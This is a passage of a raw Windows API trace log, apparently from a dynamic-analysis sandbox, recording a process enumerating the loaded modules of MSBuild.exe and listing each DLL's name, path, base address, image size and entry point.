lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\wminet_utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")) returned 0x3e [0055.610] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745b0000, lpmodinfo=0x278b1e8, cb=0xc | out: lpmodinfo=0x278b1e8*(lpBaseOfDll=0x745b0000, SizeOfImage=0x13000, EntryPoint=0x745b1d3f)) returned 1 [0055.611] GetLastError () returned 0x2 [0055.611] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0055.619] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0055.619] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73a20000, lpmodinfo=0x278c2e4, cb=0xc | out: lpmodinfo=0x278c2e4*(lpBaseOfDll=0x73a20000, SizeOfImage=0xf1000, EntryPoint=0x0)) returned 1 [0055.620] GetLastError () returned 0x2 [0055.620] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73a20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Configuration.ni.dll") returned 0x1b [0055.621] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73a20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")) returned 0x80 [0055.622] GetModuleInformation (in: hProcess=0x4e4, hModule=0x72480000, lpmodinfo=0x278d4c4, cb=0xc | out: lpmodinfo=0x278d4c4*(lpBaseOfDll=0x72480000, SizeOfImage=0x536000, EntryPoint=0x0)) returned 1 [0055.623] GetLastError () returned 0x2 [0055.623] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x72480000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Xml.ni.dll") returned 0x11 [0055.624] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x72480000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")) returned 0x6c [0055.625] GetModuleInformation (in: hProcess=0x4e4, hModule=0x739c0000, lpmodinfo=0x278e668, cb=0xc | out: lpmodinfo=0x278e668*(lpBaseOfDll=0x739c0000, SizeOfImage=0x52000, EntryPoint=0x739c14be)) returned 1 [0055.626] GetLastError () returned 0x2 [0055.626] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x739c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasapi32.dll") returned 0xc [0055.627] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x739c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")) returned 0x20 [0055.628] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74720000, lpmodinfo=0x278f76c, cb=0xc | out: lpmodinfo=0x278f76c*(lpBaseOfDll=0x74720000, SizeOfImage=0x15000, EntryPoint=0x747212de)) returned 1 [0055.629] GetLastError () returned 0x2 [0055.629] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74720000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasman.dll") returned 0xa [0055.630] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74720000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")) returned 0x1e [0055.631] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74710000, lpmodinfo=0x2790868, cb=0xc | out: lpmodinfo=0x2790868*(lpBaseOfDll=0x74710000, SizeOfImage=0xd000, EntryPoint=0x74711326)) returned 1 [0055.632] GetLastError () returned 0x2 [0055.632] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74710000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rtutils.dll") returned 0xb [0055.633] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74710000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")) returned 0x1f [0055.634] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73980000, lpmodinfo=0x2791964, cb=0xc | out: lpmodinfo=0x2791964*(lpBaseOfDll=0x73980000, SizeOfImage=0x3c000, EntryPoint=0x7398145d)) returned 1 [0055.635] GetLastError () returned 0x2 [0055.635] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mswsock.dll") returned 0xb [0055.636] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")) returned 0x1f [0055.637] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73970000, lpmodinfo=0x2792a60, cb=0xc | out: lpmodinfo=0x2792a60*(lpBaseOfDll=0x73970000, SizeOfImage=0x5000, EntryPoint=0x739715df)) returned 1 [0055.638] GetLastError () returned 0x2 [0055.638] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73970000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wshtcpip.dll") returned 0xc [0055.639] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73970000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wshtcpip.dll" (normalized: "c:\\windows\\system32\\wshtcpip.dll")) returned 0x20 [0055.640] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73960000, lpmodinfo=0x2793b64, cb=0xc | out: lpmodinfo=0x2793b64*(lpBaseOfDll=0x73960000, SizeOfImage=0x6000, EntryPoint=0x73961673)) returned 1 [0055.641] GetLastError () returned 0x2 [0055.641] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wship6.dll") returned 0xa [0055.642] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")) returned 0x1e [0055.643] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736e0000, lpmodinfo=0x2794c60, cb=0xc | out: lpmodinfo=0x2794c60*(lpBaseOfDll=0x736e0000, SizeOfImage=0x58000, EntryPoint=0x736e13b4)) returned 1 [0055.644] GetLastError () returned 0x2 [0055.644] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="winhttp.dll") returned 0xb [0055.645] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")) returned 0x1f [0055.646] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73910000, lpmodinfo=0x2795d5c, cb=0xc | out: lpmodinfo=0x2795d5c*(lpBaseOfDll=0x73910000, SizeOfImage=0x4f000, EntryPoint=0x73911452)) returned 1 [0055.647] GetLastError () returned 0x2 [0055.647] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73910000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="webio.dll") returned 0x9 [0055.648] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73910000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")) returned 0x1d [0055.649] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736c0000, lpmodinfo=0x2796e50, cb=0xc | out: lpmodinfo=0x2796e50*(lpBaseOfDll=0x736c0000, SizeOfImage=0x1c000, EntryPoint=0x736ca431)) returned 1 [0055.650] GetLastError () returned 0x2 [0055.650] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IPHLPAPI.DLL") returned 0xc [0055.651] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")) returned 0x20 [0055.652] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736b0000, lpmodinfo=0x2797f54, cb=0xc | out: lpmodinfo=0x2797f54*(lpBaseOfDll=0x736b0000, SizeOfImage=0x7000, EntryPoint=0x736b128d)) returned 1 [0055.653] GetLastError () returned 0x2 [0055.653] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WINNSI.DLL") returned 0xa [0055.654] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WINNSI.DLL" (normalized: "c:\\windows\\system32\\winnsi.dll")) returned 0x1e [0055.655] GetModuleInformation (in: hProcess=0x4e4, hModule=0x736a0000, lpmodinfo=0x2799260, cb=0xc | out: lpmodinfo=0x2799260*(lpBaseOfDll=0x736a0000, SizeOfImage=0xd000, EntryPoint=0x736a2012)) returned 1 [0055.656] GetLastError () returned 0x2 [0055.656] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x736a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc6.DLL") returned 0xd [0055.657] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x736a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc6.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")) returned 0x21 [0055.658] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73680000, lpmodinfo=0x279a364, cb=0xc | out: lpmodinfo=0x279a364*(lpBaseOfDll=0x73680000, SizeOfImage=0x12000, EntryPoint=0x73683271)) returned 1 [0055.660] GetLastError () returned 0x2 [0055.660] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73680000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="dhcpcsvc.DLL") returned 0xc [0055.661] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73680000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dhcpcsvc.DLL" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")) returned 0x20 [0055.662] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73670000, lpmodinfo=0x279b468, cb=0xc | out: lpmodinfo=0x279b468*(lpBaseOfDll=0x73670000, SizeOfImage=0x8000, EntryPoint=0x736734d3)) returned 1 [0055.663] GetLastError () returned 0x2 [0055.663] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73670000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="credssp.dll") returned 0xb [0055.664] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73670000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")) returned 0x1f [0055.665] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d00000, lpmodinfo=0x279c564, cb=0xc | out: lpmodinfo=0x279c564*(lpBaseOfDll=0x74d00000, SizeOfImage=0x27000, EntryPoint=0x74d058b9)) returned 1 [0055.666] GetLastError () returned 0x2 [0055.666] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d00000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CFGMGR32.dll") returned 0xc [0055.667] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d00000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CFGMGR32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")) returned 0x20 [0055.668] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73620000, lpmodinfo=0x279d668, cb=0xc | out: lpmodinfo=0x279d668*(lpBaseOfDll=0x73620000, SizeOfImage=0x44000, EntryPoint=0x736363f9)) returned 1 [0055.670] GetLastError () returned 0x2 [0055.670] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73620000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="DNSAPI.dll") returned 0xa [0055.671] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73620000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\DNSAPI.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")) returned 0x1e [0055.672] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73610000, lpmodinfo=0x279e764, cb=0xc | out: lpmodinfo=0x279e764*(lpBaseOfDll=0x73610000, SizeOfImage=0x6000, EntryPoint=0x736114b2)) returned 1 [0055.673] GetLastError () returned 0x2 [0055.673] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73610000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rasadhlp.dll") returned 0xc [0055.688] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73610000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")) returned 0x20 [0055.690] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735d0000, lpmodinfo=0x279f868, cb=0xc | out: lpmodinfo=0x279f868*(lpBaseOfDll=0x735d0000, SizeOfImage=0x38000, EntryPoint=0x735d990e)) returned 1 [0055.691] GetLastError () returned 0x2 [0055.691] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fwpuclnt.dll") returned 0xc [0055.692] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\fwpuclnt.dll" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")) returned 0x20 [0055.693] GetModuleInformation (in: hProcess=0x4e4, hModule=0x735c0000, lpmodinfo=0x27a096c, cb=0xc | out: lpmodinfo=0x27a096c*(lpBaseOfDll=0x735c0000, SizeOfImage=0x5000, EntryPoint=0x735c11d0)) returned 1 [0055.694] GetLastError () returned 0x2 [0055.694] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x735c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shfolder.dll") returned 0xc [0055.696] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x735c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")) returned 0x20 [0055.697] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75140000, lpmodinfo=0x27a1a70, cb=0xc | out: lpmodinfo=0x27a1a70*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0055.698] GetLastError () returned 0x2 [0055.698] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75140000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0055.699] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75140000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0055.703] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x2807e78, cb=0x100, lpcbNeeded=0x26e998 | out: lphModule=0x2807e78, lpcbNeeded=0x26e998) returned 1 [0055.704] GetLastError () returned 0x2 [0055.704] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x2807f84, cb=0x200, lpcbNeeded=0x26e998 | out: lphModule=0x2807f84, lpcbNeeded=0x26e998) returned 1 [0055.705] GetLastError () returned 0x2 [0055.705] GetModuleInformation (in: hProcess=0x4e4, hModule=0x400000, lpmodinfo=0x28081c4, cb=0xc | out: lpmodinfo=0x28081c4*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0055.705] GetLastError () returned 0x2 [0055.705] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0055.706] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0055.706] GetModuleInformation (in: hProcess=0x4e4, hModule=0x77130000, lpmodinfo=0x2809314, cb=0xc | out: lpmodinfo=0x2809314*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0055.706] GetLastError () returned 0x2 [0055.706] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0055.706] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0055.706] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74b20000, lpmodinfo=0x280a408, cb=0xc | out: lpmodinfo=0x280a408*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0055.706] GetLastError () returned 0x2 [0055.706] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0055.707] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0055.707] GetModuleInformation (in: hProcess=0x4e4, hModule=0x76c20000, lpmodinfo=0x280b504, cb=0xc | out: lpmodinfo=0x280b504*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0055.707] GetLastError () returned 0x2 [0055.707] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0055.707] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0055.707] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75960000, lpmodinfo=0x280c608, cb=0xc | out: lpmodinfo=0x280c608*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0055.708] GetLastError () returned 0x2 [0055.708] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0055.708] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0055.708] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d40000, lpmodinfo=0x280d744, cb=0xc | out: lpmodinfo=0x280d744*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0055.708] GetLastError () returned 0x2 [0055.708] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0055.709] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0055.709] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74e10000, lpmodinfo=0x280e848, cb=0xc | out: lpmodinfo=0x280e848*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0055.709] GetLastError () returned 0x2 [0055.709] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0055.709] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0055.709] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75740000, lpmodinfo=0x280f944, cb=0xc | out: lpmodinfo=0x280f944*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0055.710] GetLastError () returned 0x2 [0055.710] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0055.710] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0055.710] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ee0000, lpmodinfo=0x2810a40, cb=0xc | out: lpmodinfo=0x2810a40*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0055.711] GetLastError () returned 0x2 [0055.711] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0055.711] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0055.711] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c90000, lpmodinfo=0x2811b8c, cb=0xc | out: lpmodinfo=0x2811b8c*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0055.711] GetLastError () returned 0x2 [0055.712] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0055.712] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0055.712] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c80000, lpmodinfo=0x2812c88, cb=0xc | out: lpmodinfo=0x2812c88*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0055.712] GetLastError () returned 0x2 [0055.712] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0055.713] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0055.713] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74aa0000, lpmodinfo=0x2813d8c, cb=0xc | out: lpmodinfo=0x2813d8c*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0055.713] GetLastError () returned 0x2 [0055.713] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0055.714] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0055.714] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75340000, lpmodinfo=0x2814ec4, cb=0xc | out: lpmodinfo=0x2814ec4*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0055.714] GetLastError () returned 0x2 [0055.714] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0055.715] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0055.715] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ad0000, lpmodinfo=0x2815fc0, cb=0xc | out: lpmodinfo=0x2815fc0*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0055.715] GetLastError () returned 0x2 [0055.715] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0055.716] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0055.716] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74f40000, lpmodinfo=0x28170b4, cb=0xc | out: lpmodinfo=0x28170b4*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0055.716] GetLastError () returned 0x2 [0055.716] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0055.717] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0055.717] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75130000, lpmodinfo=0x28181b0, cb=0xc | out: lpmodinfo=0x28181b0*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0055.717] GetLastError () returned 0x2 [0055.717] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0055.718] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0055.718] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75090000, lpmodinfo=0x281929c, cb=0xc | out: lpmodinfo=0x281929c*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0055.718] GetLastError () returned 0x2 [0055.719] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0055.719] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0055.719] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75b60000, lpmodinfo=0x281a420, cb=0xc | out: lpmodinfo=0x281a420*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0055.720] GetLastError () returned 0x2 [0055.720] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0055.720] 